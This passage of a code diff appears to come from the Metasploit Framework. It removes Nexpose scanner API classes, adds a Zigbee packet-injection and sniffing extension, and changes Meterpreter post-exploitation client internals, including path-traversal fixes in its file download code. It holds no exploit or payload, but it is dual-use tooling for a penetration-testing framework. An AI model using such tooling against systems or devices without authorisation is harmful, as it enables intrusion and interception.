the engine is listening - attr_reader :port - # The engine status (active|pending-auth| incompatible|not-responding|unknown) - attr_reader :status - - # Constructor - # EngineSummary(id, name, address, port, status) - def initialize(id, name, address, port, status) - @id = id - @name = name - @address = address - @port = port - @status = status - end - -end - - -# TODO -class EngineActivity - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The Engine ID - attr_reader :engine_id - # Array containing (ScanSummary*) - attr_reader :scan_summaries - - -end - -# === Description -# Object that represents a listing of all of the vulnerabilities in the vulnerability database -# -class VulnerabilityListing - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # Array containing (VulnerabilitySummary*) - attr_reader :vulnerability_summaries - # The number of vulnerability definitions - attr_reader :vulnerability_count - - # Constructor - # VulnerabilityListing(connection) - def initialize(connection) - @error = false - @vulnerability_summaries = [] - @connection = connection - - r = @connection.execute('') - - if (r.success) - r.res.elements.each('VulnerabilityListingResponse/VulnerabilitySummary') do |v| - @vulnerability_summaries.push(VulnerabilitySummary.new(v.attributes['id'],v.attributes["title"],v.attributes["severity"])) - end - else - @error = true - @error_msg = 'VulnerabilitySummaryRequest Parse Error' - end - @vulnerability_count = @vulnerability_summaries.length - end -end - -# === Description -# Object that represents the summary of an entry in the vulnerability database -# -class VulnerabilitySummary - - # The unique ID string for this vulnerability - attr_reader :id - # The title of this vulnerability - attr_reader :title - # The severity of this vulnerability (1 – 10) - attr_reader :severity - - # Constructor - # VulnerabilitySummary(id, title, severity) - def initialize(id, title, severity) - @id = id - @title = title - @severity = severity - - end - -end - -# === Description -# -class Reference - - attr_reader :source - attr_reader :reference - - def initialize(source, reference) - @source = source - @reference = reference - end -end - -# === Description -# Object that represents the details for an entry in the vulnerability database -# -class VulnerabilityDetail - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The unique ID string for this vulnerability - attr_reader :id - # The title of this vulnerability - attr_reader :title - # The severity of this vulnerability (1 – 10) - attr_reader :severity - # The pciSeverity of this vulnerability - attr_reader :pciSeverity - # The CVSS score of this vulnerability - attr_reader :cvssScore - # The CVSS vector of this vulnerability - attr_reader :cvssVector - # The date this vulnerability was published - attr_reader :published - # The date this vulnerability was added to Nexpose - attr_reader :added - # The last date this vulnerability was modified - attr_reader :modified - # The HTML Description of this vulnerability - attr_reader :description - # External References for this vulnerability - # Array containing (Reference) - attr_reader :references - # The HTML Solution for this vulnerability - attr_reader :solution - - # Constructor - # VulnerabilityListing(connection,id) - def initialize(connection, id) - - @error = false - @connection = connection - @id = id - @references = [] - - r = @connection.execute('') - - if (r.success) - r.res.elements.each('VulnerabilityDetailsResponse/Vulnerability') do |v| - @id = v.attributes['id'] - @title = v.attributes["title"] - @severity = v.attributes["severity"] - @pciSeverity = v.attributes['pciSeverity'] - @cvssScore = v.attributes['cvssScore'] - @cvssVector = v.attributes['cvssVector'] - @published = v.attributes['published'] - @added = v.attributes['added'] - @modified = v.attributes['modified'] - - v.elements.each('description') do |d| - @description = d.to_s.gsub(/\<\/?description\>/i, '') - end - - v.elements.each('solution') do |s| - @solution = s.to_s.gsub(/\<\/?solution\>/i, '') - end - - v.elements.each('references/reference') do |r| - @references.push(Reference.new(r.attributes['source'],r.text)) - end - end - else - @error = true - @error_msg = 'VulnerabilitySummaryRequest Parse Error' - end - - end -end - -# === Description -# Object that represents the summary of a Report Configuration. -# -class ReportConfigSummary - # The Report Configuration ID - attr_reader :id - # A unique name for the Report - attr_reader :name - # The report format - attr_reader :format - # The date of the last report generation - attr_reader :last_generated_on - # Relative URI of the last generated report - attr_reader :last_generated_uri - - # Constructor - # ReportConfigSummary(id, name, format, last_generated_on, last_generated_uri) - def initialize(id, name, format, last_generated_on, last_generated_uri) - - @id = id - @name = name - @format = format - @last_generated_on = last_generated_on - @last_generated_uri = last_generated_uri - - end - -end - -# === Description -# Object that represents the schedule on which to automatically generate new reports. -class ReportHistory - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The report definition (report config) ID - # Report definition ID - attr_reader :config_id - # Array (ReportSummary*) - attr_reader :report_summaries - - - def initialize(connection, config_id) - - @error = false - @connection = connection - @config_id = config_id - @report_summaries = [] - - reportHistory_request = APIRequest.new('',@connection.geturl()) - reportHistory_request.execute() - @response_xml = reportHistory_request.response_xml - @request_xml = reportHistory_request.request_xml - - end - - def xml_parse(response) - response = REXML::Document.new(response.to_s) - status = response.root.attributes['success'] - if (status == '1') - response.elements.each('ReportHistoryResponse/ReportSummary') do |r| - @report_summaries.push(ReportSummary.new(r.attributes["id"], r.attributes["cfg-id"], r.attributes["status"], r.attributes["generated-on"],r.attributes['report-uri'])) - end - else - @error = true - @error_msg = 'Error ReportHistoryReponse' - end - end - -end - -# === Description -# Object that represents the summary of a single report. -class ReportSummary - - # The Report ID - attr_reader :id - # The Report Configuration ID - attr_reader :cfg_id - # The status of this report - # available | generating | failed - attr_reader :status - # The date on which this report was generated - attr_reader :generated_on - # The relative URI of the report - attr_reader :report_uri - - def initialize(id, cfg_id, status, generated_on, report_uri) - - @id = id - @cfg_id = cfg_id - @status = status - @generated_on = generated_on - @report_uri = report_uri - - end - -end - -# === Description -# - class ReportAdHoc - include XMLUtils - - attr_reader :error - attr_reader :error_msg - attr_reader :connection - # Report Template ID strong e.g. full-audit - attr_reader :template_id - # pdf|html|xml|text|csv|raw-xml-v2 - attr_reader :format - # Array of (ReportFilter)* - attr_reader :filters - attr_reader :request_xml - attr_reader :response_xml - attr_reader :report_decoded - - - def initialize(connection, template_id = 'full-audit', format = 'raw-xml-v2') - - @error = false - @connection = connection - @filters = Array.new() - @template_id = template_id - @format = format - - end - - def addFilter(filter_type, id) - - # filter_type can be site|group|device|scan - # id is the ID number. For scan, you can use 'last' for the most recently run scan - filter = ReportFilter.new(filter_type, id) - filters.push(filter) - - end - - def generate() - request_xml = '' - request_xml += '' - request_xml += '' - @filters.each do |f| - request_xml += '' - end - request_xml += '' - request_xml += '' - request_xml += '' - - ad_hoc_request = APIRequest.new(request_xml, @connection.url) - ad_hoc_request.execute() - - content_type_response = ad_hoc_request.raw_response.header['Content-Type'] - if content_type_response =~ /multipart\/mixed;\s*boundary=([^\s]+)/ - # Nexpose sends an incorrect boundary format which breaks parsing - # Eg: boundary=XXX; charset=XXX - # Fix by removing everything from the last semi-colon onward - last_semi_colon_index = content_type_response.index(/;/, content_type_response.index(/boundary/)) - content_type_response = content_type_response[0, last_semi_colon_index] - - data = "Content-Type: " + content_type_response + "\r\n\r\n" + ad_hoc_request.raw_response_data - doc = Rex::MIME::Message.new data - doc.parts.each do |part| - if /.*base64.*/ =~ part.header.to_s - return parse_xml(part.content.unpack("m*")[0]) - end - end - end - end - - end - -# === Description -# Object that represents the configuration of a report definition. -# -class ReportConfig - - # true if an error condition exists; false otherwise - attr_reader :error - # Error message string - attr_reader :error_msg - # The last XML request sent by this object - attr_reader :request_xml - # The last XML response received by this object - attr_reader :response_xml - # The NSC Connection associated with this object - attr_reader :connection - # The ID for this report definition - attr_reader :config_id - # A unique name for this report definition - attr_reader :name - # The template ID used for this report definition - attr_reader :template_id - # html, db, txt, xml, raw-xml-v2, csv, pdf - attr_reader :format - # XXX new - attr_reader :timezone - # XXX new - attr_reader :owner - # Array of (ReportFilter)* - The Sites, Asset Groups, or Devices to run the report against - attr_reader :filters - # Automatically generate a new report at the conclusion of a scan - # 1 or 0 - attr_reader :generate_after_scan - # Schedule to generate reports - # ReportSchedule Object - attr_reader :schedule - # Store the reports on the server - # 1 or 0 - attr_reader :storeOnServer - # Location to store the report on the server - attr_reader :store_location - # Form to send the report via email - # "file", "zip", "url", or NULL (don’t send email) - attr_reader :email_As - # Send the Email to all Authorized Users - # boolean - Send the Email to all Authorized Users - attr_reader :email_to_all - # Array containing the email addresses of the recipients - attr_reader :email_recipients - # IP Address or Hostname of SMTP Relay Server - attr_reader :smtp_relay_server - # Sets the FROM field of the Email - attr_reader :sender - # TODO - attr_reader :db_export - # TODO - attr_reader :csv_export - # TODO - attr_reader :xml_export - - - def initialize(connection, config_id = -1) - - @error = false - @connection = connection - @config_id = config_id - @xml_tag_stack = Array.new() - @filters = Array.new() - @email_recipients = Array.new() - @name = "New Report " + rand(999999999).to_s - - r = @connection.execute('') - if (r.success) - r.res.elements.each('ReportConfigResponse/ReportConfig') do |r| - @name = r.attributes['name'] - @format = r.attributes['format'] - @timezone = r.attributes['timezone'] - @id = r.attributes['id'] - @template_id = r.attributes['template-id'] - @owner = r.attributes['owner'] - end - else - @error = true - @error_msg = 'Error ReportHistoryReponse' - end - end - - # === Description - # Generate a new report on this report definition. Returns the new report ID. - def generateReport(debug = false) - return generateReport(@connection, @config_id, debug) - end - - # === Description - # Save the report definition to the NSC. - # Returns the config-id. - def saveReport() - r = @connection.execute('' + getXML().to_s + ' ') - if(r.success) - @config_id = r.attributes['reportcfg-id'] - return true - end - return false - end - - # === Description - # Adds a new filter to the report config - def addFilter(filter_type, id) - filter = ReportFilter.new(filter_type,id) - @filters.push(filter) - end - - # === Description - # Adds a new email recipient - def addEmailRecipient(recipient) - @email_recipients.push(recipient) - end - - # === Description - # Sets the schedule for this report config - def setSchedule(schedule) - @schedule = schedule - end - - def getXML() - - xml = '' - - xml += ' ' - - @filters.each do |f| - xml += ' <' + f.type.to_s + ' id="' + f.id.to_s + '"/>' - end - - xml += ' ' - - xml += ' ' - - if (@schedule) - xml += ' ' - end - - xml += ' ' - - xml += ' ' - - xml += ' ' - - if (@store_location and @store_location.length > 0) - xml += ' ' + @store_location.to_s + '' - end - - xml += ' ' - - - xml += ' ' - - xml += ' ' - - return xml - end - - def set_name(name) - @name = name - end - - def set_template_id(template_id) - @template_id = template_id - end - - def set_format(format) - @format = format - end - - def set_email_As(email_As) - @email_As = email_As - end - - def set_storeOnServer(storeOnServer) - @storeOnServer = storeOnServer - end - - def set_smtp_relay_server(smtp_relay_server) - @smtp_relay_server = smtp_relay_server - end - - def set_sender(sender) - @sender = sender - end - - def set_generate_after_scan(generate_after_scan) - @generate_after_scan = generate_after_scan - end -end - -# === Description -# Object that represents a report filter which determines which sites, asset -# groups, and/or devices that a report is run against. gtypes are -# "SiteFilter", "AssetGroupFilter", "DeviceFilter", or "ScanFilter". gid is -# the site-id, assetgroup-id, or devce-id. ScanFilter, if used, specifies -# a specifies a specific scan to use as the data source for the report. The gid -# can be a specific scan-id or "first" for the first run scan, or “last” for -# the last run scan. -# -class ReportFilter - - attr_reader :type - attr_reader :id - - def initialize(type, id) - - @type = type - @id = id - - end - -end - -# === Description -# Object that represents the schedule on which to automatically generate new reports. -# -class ReportSchedule - - # The type of schedule - # (daily, hourly, monthly, weekly) - attr_reader :type - # The frequency with which to run the scan - attr_reader :interval - # The earliest date to generate the report - attr_reader :start - - def initialize(type, interval, start) - - @type = type - @interval = interval - @start = start - - end - - -end - -class ReportTemplateListing - - attr_reader :error_msg - attr_reader :error - attr_reader :request_xml - attr_reader :response_xml - attr_reader :connection - attr_reader :xml_tag_stack - attr_reader :report_template_summaries#; //Array (ReportTemplateSummary*) - - - def ReportTemplateListing(connection) - - @error = nil - @connection = connection - @report_template_summaries = Array.new() - - r = @connection.execute('') - if (r.success) - r.res.elements.each('ReportTemplateListingResponse/ReportTemplateSummary') do |r| - @report_template_summaries.push(ReportTemplateSumary.new(r.attributes['id'],r.attributes['name'])) - end - else - @error = true - @error_msg = 'ReportTemplateListingRequest Parse Error' - end - - end - -end - - -class ReportTemplateSummary - - attr_reader :id - attr_reader :name - attr_reader :description - - def ReportTemplateSummary(id, name, description) - - @id = id - @name = name - @description = description - - end - -end - - -class ReportSection - - attr_reader :name - attr_reader :properties - - def ReportSection(name) - - @properties = Array.new() - @name = name - end - - - def addProperty(name, value) - - @properties[name.to_s] = value - end - -end - - -# TODO add -def self.site_device_scan(connection, site_id, device_array, host_array, debug = false) - - request_xml = '' - request_xml += '' - device_array.each do |d| - request_xml += '' - end - request_xml += '' - request_xml += '' - # The host array can only by single IP addresses for now. TODO: Expand to full API Spec. - host_array.each do |h| - request_xml += '' - end - request_xml += '' - request_xml += '' - - r = connection.execute(request_xml) - r.success ? { :engine_id => r.attributes['engine_id'], :scan_id => r.attributes['scan-id'] } : nil -end - -# === Description -# TODO -def self.getAttribute(attribute, xml) - value = '' - #@value = substr(substr(strstr(strstr(@xml,@attribute),'"'),1),0,strpos(substr(strstr(strstr(@xml,@attribute),'"'),1),'"')) - return value -end - -# === Description -# Returns an ISO 8601 formatted date/time stamp. All dates in Nexpose must use this format. -def self.get_iso_8601_date(int_date) -#@date_mod = date('Ymd\THis000', @int_date) - date_mod = '' -return date_mod -end - -# ==== Description -# Echos the last XML API request and response for the specified object. (Useful for debugging) -def self.printXML(object) - puts "request" + object.request_xml.to_s - puts "response is " + object.response_xml.to_s -end - -end diff --git a/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb new file mode 100644 index 0000000000..363c62da88 --- /dev/null +++ b/lib/rex/post/hwbridge/extensions/zigbee/zigbee.rb @@ -0,0 +1,95 @@ +# +# -*- coding: binary -*- +require 'rex/post/hwbridge/client' + +module Rex +module Post +module HWBridge +module Extensions +module Zigbee + +### +# Zigbee extension - set of commands to be executed on zigbee compatible hw bridges +### + +class Zigbee < Extension + + def initialize(client) + super(client, 'zigbee') + + # Alias the following things on the client object so that they + # can be directly referenced + client.register_extension_aliases( + [ + { + 'name' => 'zigbee', + 'ext' => self + } + ]) + end + + # Sets the default target device + # @param device [String] Target Zigbee device ID + def set_target_device(device) + self.target_device = device + end + + # Retrieves the default zigbee device ID + # @return [String] Zigbee device ID + def get_target_device + self.target_device + end + + # Gets supported Zigbee Devices + # @return [Array] Devices + def supported_devices + client.send_request("/zigbee/supported_devices") + end + + # Sets the channel + # @param dev [String] Device to affect + # @param channel [Integer] Channel number + def set_channel(dev, channel) + client.send_request("/zigbee/#{dev}/set_channel?chan=#{channel}") + end + + # Injects a raw packet + # @param dev [String] Zigbee Device ID + # @param data [String] Raw hex data that will be Base64 encoded + def inject(dev, data) + data = Base64.urlsafe_encode64(data) + client.send_request("/zigbee/#{dev}/inject?data=#{data}") + end + + # Receives data from transceiver + # @param dev [String] Zigbee Device ID + # @return [Hash] { data: HexString, valid_crc: X, rssi: X } + def recv(dev) + data = client.send_request("/zigbee/#{dev}/recv") + if data.size > 0 + data["data"] = Base64.urlsafe_decode64(data["data"]) if data.has_key? "data" + end + data + end + + # Disables sniffer and puts the device in a state that can be changed (like adujsting channel) + # @param dev [String] Zigbee Device ID + def sniffer_off(dev) + client.send_request("/zigbee/#{dev}/sniffer_off") + end + + # Enables sniffer receive mode. Not necessary to call before calling recv + # @param dev [String] Zigbee Device ID + def sniffer_on(dev) + client.send_request("/zigbee/#{dev}/sniffer_on") + end + + attr_accessor :target_device + +end + +end +end +end +end +end diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb index cd65d3804c..bad2136c77 100644 --- a/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/automotive.rb @@ -63,7 +63,7 @@ class Console::CommandDispatcher::Automotive def cmd_busconfig(*args) bus = '' bus_config_opts = Rex::Parser::Arguments.new( - '-h' => [ false, 'Help Banner' ], + '-h' => [ false, 'Help banner' ], '-b' => [ true, 'Target bus'] ) bus_config_opts.parse(args) do |opt, _idx, val| diff --git a/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb new file mode 100644 index 0000000000..45408f88dc --- /dev/null +++ b/lib/rex/post/hwbridge/ui/console/command_dispatcher/zigbee.rb @@ -0,0 +1,125 @@ +# -*- coding: binary -*- +require 'rex/post/hwbridge' +require 'msf/core/auxiliary/report' + +module Rex +module Post +module HWBridge +module Ui + +### +# Zigbee extension - set of commands to be executed on Zigbee compatible devices +### +class Console::CommandDispatcher::Zigbee + include Console::CommandDispatcher + include Msf::Auxiliary::Report + + # + # List of supported commands. + # + def commands + all = { + 'supported_devices' => 'Get supported ZigBee devices', + 'target' => 'Set the target device id', + 'channel' => 'Set the channel' + } + + all + end + + # Sets the target device both in the UI class and in the base API + # @param device [String] Device ID + def set_target_device(device) + self.target_device = device + client.zigbee.set_target_device device + end + + # + # Lists all thesupported devices + # + def cmd_supported_devices + devices = client.zigbee.supported_devices + if !devices or !devices.has_key? "devices" + print_line("error retrieving list of devices") + return + end + devices = devices["devices"] + unless devices.size > 0 + print_line("none") + return + end + set_target_device(devices[0]) if devices.size == 1 + str = "Supported Devices: " + str << devices.join(', ') + str << "\nUse device name to set your desired device, default is: #{self.target_device}" + print_line(str) + end + + # + # Sets the default target device + # + def cmd_target(*args) + self.target_device = "" + device_opts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help banner' ], + '-d' => [ true, 'Device ID' ] + ) + device_opts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: target -d \n") + print_line(device_opts.usage) + return + when '-d' + set_target_device val + end + end + print_line("set target device to #{self.target_device}") + end + + # + # Sets the channel + # + def cmd_channel(*args) + chan = 11 + dev = self.target_device if self.target_device + xopts = Rex::Parser::Arguments.new( + '-h' => [ false, 'Help banner' ], + '-d' => [ true, 'ZigBee device' ], + '-c' => [ true, 'Channel number' ] + ) + xopts.parse(args) do |opt, _idx, val| + case opt + when '-h' + print_line("Usage: channel -c \n") + print_line(xopts.usage) + return + when '-d' + dev = val + when '-c' + chan = val.to_i + end + end + if !dev + print_line("You must specify or set a target device") + return + end + client.zigbee.set_channel(dev, chan) + print_line("Device #{dev} channel set to #{chan}") + end + + # + # Name for this dispatcher + # + def name + 'Zigbee' + end + + attr_accessor :target_device +end + +end +end +end +end + diff --git a/lib/rex/post/meterpreter/channel.rb b/lib/rex/post/meterpreter/channel.rb index 078a08276f..dbb89d34ff 100644 --- a/lib/rex/post/meterpreter/channel.rb +++ b/lib/rex/post/meterpreter/channel.rb @@ -116,16 +116,13 @@ class Channel begin response = client.send_request(request) cid = response.get_tlv_value(TLV_TYPE_CHANNEL_ID) - rescue RequestError - # Handle channel open failure exceptions + if cid.nil? + raise Rex::Post::Meterpreter::RequestError + end end - if cid - # Create the channel instance - klass.new(client, cid, type, flags) - else - raise Rex::ConnectionRefused - end + # Create the channel instance + klass.new(client, cid, type, flags) end ## diff --git a/lib/rex/post/meterpreter/client_core.rb b/lib/rex/post/meterpreter/client_core.rb index cc00ff8866..479102b788 100644 --- a/lib/rex/post/meterpreter/client_core.rb +++ b/lib/rex/post/meterpreter/client_core.rb @@ -325,6 +325,18 @@ class ClientCore < Extension Rex::Text.md5(mid.to_s.downcase.strip) end + def native_arch(timeout=nil) + # Not all meterpreter implementations support this + request = Packet.create_request('core_native_arch') + + args = [ request ] + args << timeout if timeout + + response = client.send_request(*args) + + response.get_tlv_value(TLV_TYPE_STRING) + end + def transport_remove(opts={}) request = transport_prepare_request('core_transport_remove', opts) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb index 8f2a26004c..eb2550ef9b 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/fs/dir.rb @@ -222,7 +222,11 @@ class Dir < Rex::Post::Dir end dir_files.each { |src_sub| - dst_item = dst + ::File::SEPARATOR + client.unicode_filter_encode(src_sub) + dst_sub = src_sub.dup + dst_sub.gsub!(::File::SEPARATOR, '_') # '/' on all systems + dst_sub.gsub!(::File::ALT_SEPARATOR, '_') if ::File::ALT_SEPARATOR # nil on Linux, '\' on Windows + + dst_item = ::File.join(dst, client.unicode_filter_encode(dst_sub)) src_item = src + client.fs.file.separator + client.unicode_filter_encode(src_sub) if (src_sub == '.' or src_sub == '..') diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb index d7f487b5ea..9b693d5f2f 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/def/def_kernel32.rb @@ -1419,7 +1419,7 @@ class Def_kernel32 ["DWORD","nSize","in"], ]) - dll.add_function( 'GetModuleHandleA', 'DWORD',[ + dll.add_function( 'GetModuleHandleA', 'HANDLE',[ ["PCHAR","lpModuleName","in"], ]) @@ -1435,7 +1435,7 @@ class Def_kernel32 ["PDWORD","phModule","out"], ]) - dll.add_function( 'GetModuleHandleW', 'DWORD',[ + dll.add_function( 'GetModuleHandleW', 'HANDLE',[ ["PWCHAR","lpModuleName","in"], ]) @@ -1591,7 +1591,7 @@ class Def_kernel32 ["PDWORD","pdwHandleCount","out"], ]) - dll.add_function( 'GetProcessHeap', 'DWORD',[ + dll.add_function( 'GetProcessHeap', 'HANDLE',[ ]) dll.add_function( 'GetProcessHeaps', 'DWORD',[ @@ -2078,7 +2078,7 @@ class Def_kernel32 ["DWORD","dwFlags","in"], ]) - dll.add_function( 'HeapCreate', 'DWORD',[ + dll.add_function( 'HeapCreate', 'HANDLE',[ ["DWORD","flOptions","in"], ["DWORD","dwInitialSize","in"], ["DWORD","dwMaximumSize","in"], @@ -2258,23 +2258,23 @@ class Def_kernel32 ["PBLOB","lpCriticalSection","inout"], ]) - dll.add_function( 'LoadLibraryA', 'DWORD',[ + dll.add_function( 'LoadLibraryA', 'HANDLE',[ ["PCHAR","lpLibFileName","in"], ]) - dll.add_function( 'LoadLibraryExA', 'DWORD',[ + dll.add_function( 'LoadLibraryExA', 'HANDLE',[ ["PCHAR","lpLibFileName","in"], ["HANDLE","hFile","inout"], ["DWORD","dwFlags","in"], ]) - dll.add_function( 'LoadLibraryExW', 'DWORD',[ + dll.add_function( 'LoadLibraryExW', 'HANDLE',[ ["PWCHAR","lpLibFileName","in"], ["HANDLE","hFile","inout"], ["DWORD","dwFlags","in"], ]) - dll.add_function( 'LoadLibraryW', 'DWORD',[ + dll.add_function( 'LoadLibraryW', 'HANDLE',[ ["PWCHAR","lpLibFileName","in"], ]) diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb index fc8af29404..385bc67c70 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb @@ -119,7 +119,7 @@ class DLL def process_function_call(function, args, client) raise "#{function.params.length} arguments expected. #{args.length} arguments provided." unless args.length == function.params.length - if client.arch == ARCH_X64 + if client.native_arch == ARCH_X64 native = 'Q<' else native = 'V' diff --git a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb index 951cbcba8a..f225dc7f5e 100644 --- a/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb +++ b/lib/rex/post/meterpreter/extensions/stdapi/railgun/multicall.rb @@ -49,7 +49,7 @@ class MultiCaller # needed by DLL helper @win_consts = win_consts - if @client.arch == ARCH_X64 + if @client.native_arch == ARCH_X64 @native = 'Q<' else @native = 'V' diff --git a/lib/rex/post/meterpreter/packet_dispatcher.rb b/lib/rex/post/meterpreter/packet_dispatcher.rb index cb4a95702b..21bd21ac35 100644 --- a/lib/rex/post/meterpreter/packet_dispatcher.rb +++ b/lib/rex/post/meterpreter/packet_dispatcher.rb @@ -284,6 +284,20 @@ module PacketDispatcher # Reception # ## + + # + # Simple class to track packets and if they are in-progress or complete. + # + class QueuedPacket + attr_reader :packet + attr_reader :in_progress + + def initialize(packet, in_progress) + @packet = packet + @in_progress = in_progress + end + end + # # Monitors the PacketDispatcher's sock for data in its own # thread context and parsers all inbound packets. @@ -306,8 +320,8 @@ module PacketDispatcher begin rv = Rex::ThreadSafe.select([ self.sock.fd ], nil, nil, PING_TIME) if rv - packet = receive_packet - @pqueue << packet if packet + packet, in_progress = receive_packet + @pqueue << QueuedPacket.new(packet, in_progress) elsif self.send_keepalives && @pqueue.empty? keepalive end @@ -342,11 +356,11 @@ module PacketDispatcher tmp_channel = [] tmp_close = [] backlog.each do |pkt| - if(pkt.response?) + if(pkt.packet.response?) tmp_command << pkt next end - if(pkt.method == "core_channel_close") + if(pkt.packet.method == "core_channel_close") tmp_close << pkt next end @@ -365,7 +379,7 @@ module PacketDispatcher backlog.each do |pkt| begin - if ! dispatch_inbound_packet(pkt) + if ! dispatch_inbound_packet(pkt.packet, pkt.in_progress) # Keep Packets in the receive queue until a handler is registered # for them. Packets will live in the receive queue for up to # PACKET_TIMEOUT seconds, after which they will be dropped. @@ -373,13 +387,15 @@ module PacketDispatcher # A common reason why there would not immediately be a handler for # a received Packet is in channels, where a connection may # open and receive data before anything has asked to read. - if (::Time.now.to_i - pkt.created_at.to_i < PACKET_TIMEOUT) + # + # Also, don't bother saving incomplete packets if we have no handler. + if (!pkt.in_progress and ::Time.now.to_i - pkt.packet.created_at.to_i < PACKET_TIMEOUT) incomplete << pkt end end rescue ::Exception => e - dlog("Dispatching exception with packet #{pkt}: #{e} #{e.backtrace}", 'meterpreter', LEV_1) + dlog("Dispatching exception with packet #{pkt.packet}: #{e} #{e.backtrace}", 'meterpreter', LEV_1) end end @@ -459,12 +475,16 @@ module PacketDispatcher # Notifies a whomever is waiting for a the supplied response, # if anyone. # - def notify_response_waiter(response) + # For not-yet-complete responses, we might not be able to determine + # the response ID, in that case just let all waiters know that some + # responses are trickling in. + # + def notify_response_waiter(response, in_progress=false) handled = false self.waiters.each() { |waiter| - if (waiter.waiting_for?(response)) - waiter.notify(response) - remove_response_waiter(waiter) + if (in_progress || waiter.waiting_for?(response)) + waiter.notify(response, in_progress) + remove_response_waiter(waiter) unless in_progress handled = true break end @@ -498,7 +518,7 @@ module PacketDispatcher # Otherwise, the packet is passed onto any registered dispatch # handlers until one returns success. # - def dispatch_inbound_packet(packet) + def dispatch_inbound_packet(packet, in_progress=false) handled = false # Update our last reply time @@ -507,7 +527,7 @@ module PacketDispatcher # If the packet is a response, try to notify any potential # waiters if packet.response? - if (notify_response_waiter(packet)) + if (notify_response_waiter(packet, in_progress)) return true end end diff --git a/lib/rex/post/meterpreter/packet_parser.rb b/lib/rex/post/meterpreter/packet_parser.rb index 5b33c7b7c5..4575381790 100644 --- a/lib/rex/post/meterpreter/packet_parser.rb +++ b/lib/rex/post/meterpreter/packet_parser.rb @@ -75,22 +75,27 @@ class PacketParser end end + in_progress = true + + # TODO: cipher decryption + if (cipher) + end + + # Deserialize the packet from the raw buffer + packet.from_r(self.raw) + # If we've finished reading the entire packet if ((self.hdr_length_left == 0) && (self.payload_length_left == 0)) - # TODO: cipher decryption - if (cipher) - end - - # Deserialize the packet from the raw buffer - packet.from_r(self.raw) - # Reset our state reset - return packet + # packet is complete! + in_progress = false end + + return packet, in_progress end protected diff --git a/lib/rex/post/meterpreter/packet_response_waiter.rb b/lib/rex/post/meterpreter/packet_response_waiter.rb index 5f2f1557d7..637e1b9a95 100644 --- a/lib/rex/post/meterpreter/packet_response_waiter.rb +++ b/lib/rex/post/meterpreter/packet_response_waiter.rb @@ -39,6 +39,9 @@ class PacketResponseWaiter # @return [Integer] request ID to wait for attr_accessor :rid + # @return [Boolean] indicates if part of the response has been received + attr_accessor :in_progress + # # Initializes a response waiter instance for the supplied request # identifier. @@ -46,6 +49,7 @@ class PacketResponseWaiter def initialize(rid, completion_routine = nil, completion_param = nil) self.rid = rid.dup self.response = nil + self.in_progress = false if (completion_routine) self.completion_routine = completion_routine @@ -69,14 +73,21 @@ class PacketResponseWaiter # # @param response [Packet] # @return [void] - def notify(response) + def notify(response, in_progress = false) if (self.completion_routine) - self.response = response - self.completion_routine.call(response, self.completion_param) + self.in_progress = in_progress + unless in_progress + self.response = response + self.completion_routine.call(response, self.completion_param) + end else self.mutex.synchronize do - self.response = response - self.cond.signal + self.in_progress = in_progress + unless in_progress + # complete packet, ready for processing... + self.response = response + self.cond.signal + end end end end @@ -92,7 +103,11 @@ class PacketResponseWaiter interval = nil if interval and interval == -1 self.mutex.synchronize do if self.response.nil? - self.cond.wait(self.mutex, interval) + loop do + self.cond.wait(self.mutex, interval) + break unless self.in_progress + self.in_progress = false + end end end return self.response diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 9c4b3ce920..7707e53c77 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -373,6 +373,12 @@ private def download_file( dest_folder, source ) stat = client.fs.file.stat( source ) base = ::Rex::Post::Meterpreter::Extensions::Stdapi::Fs::File.basename( source ) + + # Basename ends up with a single name/folder. This is the only point where it + # may be possible to do a dir trav up one folder. We need to check to make sure + # that the basename doesn't result in a traversal + return false if base == '..' + dest = File.join( dest_folder, base 